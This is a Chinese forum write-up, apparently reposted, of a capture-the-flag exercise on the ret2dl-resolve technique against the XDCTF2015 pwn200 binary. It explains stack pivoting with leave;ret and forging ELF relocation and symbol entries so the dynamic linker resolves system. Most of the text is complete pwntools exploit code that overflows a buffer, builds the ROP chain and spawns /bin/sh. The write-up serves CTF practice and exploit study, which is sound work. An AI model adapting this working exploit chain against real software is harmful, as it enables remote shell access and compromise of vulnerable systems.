[原创]ret2resolve练习
2023-8-3 22:55:44 Author: bbs.pediy.com(查看原文) 阅读量:14 收藏

这里需要用到的前置知识有ELF文件中的.rel.plt, .dynstr, .dynsym, .rel.plt, .dynamic, .plt, .got等节知识和动态加载时_dl_runtime_resolve的加载顺序,这些知识可以在我写的“文件格式”里看到。
用到的题目为XDCTF2015 pwn200,源码如下

参考内容,主要看他的图
实现手段详解:
leave命令可以理解为mov esp, ebp; pop ebp
那么两个leave会成为mov esp, ebp; pop ebp; mov esp, ebp; pop ebp,而重点就是连起来后的中间两条指令pop ebp; mov esp, ebp,这样就实现了改变esp,而如果存在栈溢出漏洞,那么我们是可以控制ebp内容的,这样就间接实现了控制esp。
实现了esp的改变,那么之后的shellcode等等都在写在新的栈中,并且是可以执行的,那么会产生一个新的问题,eip如何指向我们写入的命令呢?这就需要ret指令和之前两个leave连起来后的末尾的pop ebp了。需要注意,read写,是低地址向高地址写,push后esp降低,pop后esp增加,如下图

那么pop ebp执行后,new_esp就指向了shellcode(如紫色箭头所示),此时执行ret,那么eip就指向了shellcode,蓝色箭头为其他内容了。这个过程中,new_ebp是多少都无所谓,因为这道题目中用不到了。当eip指向了shellcode后,接着就是执行了。综上就栈转移的内容
似乎还有其他的不是利用leave的栈转移,先不讨论。
栈转移代码实现如下:

利用0x08049105做为第二个leave使用


从上方的图片中可以看到,想要执行其他函数,我们需要伪造reloc(_dl_time_resolve的第二个参数),Elf32_Rel指针,Elf32_Sym指针和函数名字符串指针。在正常的动态链接过程中,合法函数的这些结构是通过偏移获得的,但在这道题目中,对这个偏移没有限制,即可以越界访问,因此我们在伪造了这些结构后,才能够使用。以上提到的结构,在文件格式那篇文档中有提到,伪造如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

def fake_Rel(r_offset, r_info):

    fake_Elf32_Rel = p32(r_offset)

    fake_Elf32_Rel += p32(r_info)

    return fake_Elf32_Rel

    pass

def fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):

    fake_Elf32_Sym = p32(st_name)

    fake_Elf32_Sym += p32(st_value)

    fake_Elf32_Sym += p32(st_size)

    fake_Elf32_Sym += bytes([st_info]) + bytes([st_other]) + p16(st_shndx)

    return fake_Elf32_Sym

def write_rel():

    r_offset = 0x804C010

    r_info = 0x607 

    rel = fake_Rel(r_offset, r_info)

    return rel

def write_sym():

    st_name = 0x080482EE - 0x080482AC 

    st_value = 0

    st_size = 0

    st_info = 0x12

    st_other = 0

    st_shndx = 0

    sym = fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)

    reurn sym

def getshell_1(esp):

    rel = write_rel()

    sym = write_sym()

    ebp = "DDDD" 

    jmp_resolve = p32(resolve_addr) 

    fake_rel_address = esp + rop_size 

    push_offset = p32(fake_rel_address - REL_header_addr) 

    random_str = 'CCCC' 

    arg_1 = p32(1)

    arg_2 = p32(esp + rop_size + 8 + 16 + 4)

    arg_3 = p32(8)

    rubbish = 'EEEE'

    bin_str = '/bin/sh\00'

    rop = flat(ebp, jmp_resolve, push_offset, random_str, arg_1,arg_2,arg_3)

    payload = rop + rel + sym + rubbish.encode() + bin_str.encode()

    return payload

上一节中,涉及的内容是getshell过程中需要使用的结构体的伪造,那么根据动态链接的流程图,还有两个点没有用,那就是link_map和reloc,打开IDA,找到.plt表。如下图
在main函数中,点击这个_write的调用

会出现

或者是点开红色框后的模样

其中push 20h这个20h就是reloc,而jmp sub_xxx是link_map,而这个jmp指向的就是plt[0]和plt[1]。这个20h其实也是偏移,并且在这道题目中没有对改偏移数值大小的限制。这个偏移是指定函数的Elf32_Rel表相对于Rel_header的偏移。看下图

这里有个小坑,图中有两个REL Table,一个是ELF REL Relocation Table,另一个是ELF JMPREL Relocation Table,我们需要的是相对于后者的偏移,例如刚才的push 20h,就是0x080483a0-0x08048380=0x20。
在plt中是先执行了push,再执行的jmp,而在利用的过程中,我们只要保证jmp后,push的地址在栈顶就行(从结果出发)。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

def getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp):

    ebp = "DDDD"

    jmp_resolve = p32(resolve_addr)

    fake_rel_address = esp + rop_size

    push_offset = p32(fake_rel_address - REL_header_addr)

    random_str = 'CCCC'

    bin_sh_address = p32(esp + rop_size + 8 + 16 + 8)

    system_str = 'system\x00\x00'

    bin_str = '/bin/sh\x00'

    rop = flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)

    payload = rop + fake_Elf32_Rel + fake_Elf32_Sym + system_str.encode() + bin_str.encode()

    return payload

def cacl_stack_size(fake_sym_addr, elf_bss):

    if (fake_sym_addr - SYM_header_addr) % SYM_size == 0:

        return -1

    temp = ((fake_sym_addr - SYM_header_addr) // SYM_size) + 1

    fake_sym_addr = SYM_size * temp + SYM_header_addr

    base_stage = fake_sym_addr - 8

    return base_stage - elf_bss

stack_size = 0x834

bss_addr = 0

base_stage = 0

rop_size = 20

leave_ret_addr = 0x08049105

resolve_addr = 0x08049020

REL_header_addr = 0x08048380

SYM_header_addr = 0x0804820C

SYM_size = 16

STR_header_addr = 0x080482AC

read_plt = 0

if __name__ == '__main__':

    context(os='linux', arch='i386', log_level='debug')

    p = process("./main_8_3.out")

    elf = ELF("./main_8_3.out")

    bss_addr = elf.bss() 

    base_stage = bss_addr + stack_size

    fake_sym_addr = base_stage - rop_size + rop_size + 8

    res = cacl_stack_size(fake_sym_addr, bss_addr)

    if res!=-1:

        stack_size=res

        base_stage = bss_addr + stack_size

    read_plt = elf.plt['read']

    new_esp = base_stage - rop_size

    payload = stack_trans(base_stage-rop_size, new_esp)

    p.recvuntil("Welcome to XDCTF2015~!\n")

    p.send(payload)

    system_addr = new_esp + rop_size + 8 + 16

    r_offset = 0x804C010

    fake_sym_addr = new_esp + rop_size + 8

    r_info = (((fake_sym_addr - SYM_header_addr)//SYM_size)<<8) + 7

    fake_rel = fake_Rel(r_offset, r_info)

    st_name = system_addr - STR_header_addr

    st_value = 0

    st_size = 0

    st_info = 0x12

    st_other = 0

    st_shndx = 0

    fake_sym = fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)

    payload = getshell(fake_rel,fake_sym, new_esp)

    p.send(payload)

    p.interactive()

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

from pwn import *

stack_size = 0x834

bss_addr = 0

base_stage = 0

rop_size = 20

leave_ret_addr = 0x08049105

resolve_addr = 0x08049020

REL_header_addr = 0x08048380

SYM_header_addr = 0x0804820C

SYM_size = 16

STR_header_addr = 0x080482AC

read_plt = 0

def stack_trans(read_start_addr, new_esp):

    over_buffer = 'A' * 108

    overwrite_ebp = p32(new_esp)

    call_read = read_plt

    ret = leave_ret_addr

    arg_1 = p32(0)

    arg_2 = p32(read_start_addr)

    arg_3 = p32(0x100)

    payload = flat(over_buffer, overwrite_ebp, call_read, ret, arg_1, arg_2, arg_3)

    fill = 'B' * (0x100 - len(payload))

    payload += flat(fill)

    return payload

def verify_trans(esp, elf):

    rop_size = 24

    ebp = "DDDD"

    write_plt = elf.plt['write']

    jmp_write = p32(write_plt)

    gap = "EEEE"

    arg_1 = p32(1)

    arg_2 = p32(esp + rop_size)

    arg_3 = p32(len("/bin/sh\00"))

    bin_str = "/bin/sh\00"

    payload = flat(ebp, jmp_write, gap, arg_1, arg_2, arg_3, bin_str)

    return payload

def fake_Rel(r_offset, r_info):

    fake_Elf32_Rel = p32(r_offset)

    fake_Elf32_Rel += p32(r_info)

    return fake_Elf32_Rel

    pass

def fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):

    fake_Elf32_Sym = p32(st_name) 

    fake_Elf32_Sym += p32(st_value) 

    fake_Elf32_Sym += p32(st_size)

    fake_Elf32_Sym += bytes([st_info]) + bytes([st_other]) + p16(st_shndx)

    return fake_Elf32_Sym

def write_rel():

    r_offset = 0x804C010

    r_info = 0x607

    rel = fake_Rel(r_offset, r_info)

    return rel

def write_sym():

    st_name = 0x080482EE - 0x080482AC

    st_value = 0

    st_size = 0

    st_info = 0x12

    st_other = 0

    st_shndx = 0

    sym = fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)

    return sym

def getshell_1(esp):

    rel = write_rel()

    sym = write_sym()

    ebp = "DDDD"

    jmp_resolve = p32(resolve_addr)

    fake_rel_address = esp + rop_size

    push_offset = p32(fake_rel_address - REL_header_addr)

    random_str = 'CCCC'

    arg_1 = p32(1)

    arg_2 = p32(esp + rop_size + 8 + 16 + 4)

    arg_3 = p32(8)

    rubbish = 'EEEE'

    bin_str = '/bin/sh\00'

    rop = flat(ebp, jmp_resolve, push_offset, random_str, arg_1, arg_2, arg_3)

    payload = rop + rel + sym + rubbish.encode() + bin_str.encode()

    return payload

def getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp):

    ebp = "DDDD"

    jmp_resolve = p32(resolve_addr)

    fake_rel_address = esp + rop_size

    push_offset = p32(fake_rel_address - REL_header_addr)

    random_str = 'CCCC'

    bin_sh_address = p32(esp + rop_size + 8 + 16 + 8)

    system_str = 'system\x00\x00'

    bin_str = '/bin/sh\x00'

    rop = flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)

    payload = rop + fake_Elf32_Rel + fake_Elf32_Sym + system_str.encode() + bin_str.encode()

    return payload

def cacl_stack_size(fake_sym_addr, elf_bss):

    if (fake_sym_addr - SYM_header_addr) % SYM_size == 0:

        return -1

    temp = ((fake_sym_addr - SYM_header_addr) // SYM_size) + 1

    fake_sym_addr = SYM_size * temp + SYM_header_addr

    base_stage = fake_sym_addr - 8

    return base_stage - elf_bss

if __name__ == '__main__':

    context(os='linux', arch='i386', log_level='debug')

    p = process("./main_8_3.out")

    elf = ELF("./main_8_3.out")

    bss_addr = elf.bss()

    base_stage = bss_addr + stack_size

    fake_sym_addr = base_stage - rop_size + rop_size + 8

    res = cacl_stack_size(fake_sym_addr, bss_addr)

    if res != -1:

        stack_size = res

        base_stage = bss_addr + stack_size

    read_plt = elf.plt['read']

    new_esp = base_stage - rop_size

    payload = stack_trans(base_stage - rop_size, new_esp)

    p.recvuntil("Welcome to XDCTF2015~!\n")

    p.send(payload)

    system_addr = new_esp + rop_size + 8 + 16

    r_offset = 0x804C010

    fake_sym_addr = new_esp + rop_size + 8

    r_info = (((fake_sym_addr - SYM_header_addr) // SYM_size) << 8) + 7

    fake_rel = fake_Rel(r_offset, r_info)

    st_name = system_addr - STR_header_addr

    st_value = 0

    st_size = 0

    st_info = 0x12

    st_other = 0

    st_shndx = 0

    fake_sym = fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)

    payload = getshell(fake_rel, fake_sym, new_esp)

    p.send(payload)

    p.interactive()


文章来源: https://bbs.pediy.com/thread-278272.htm
如有侵权请联系:admin#unsafe.sh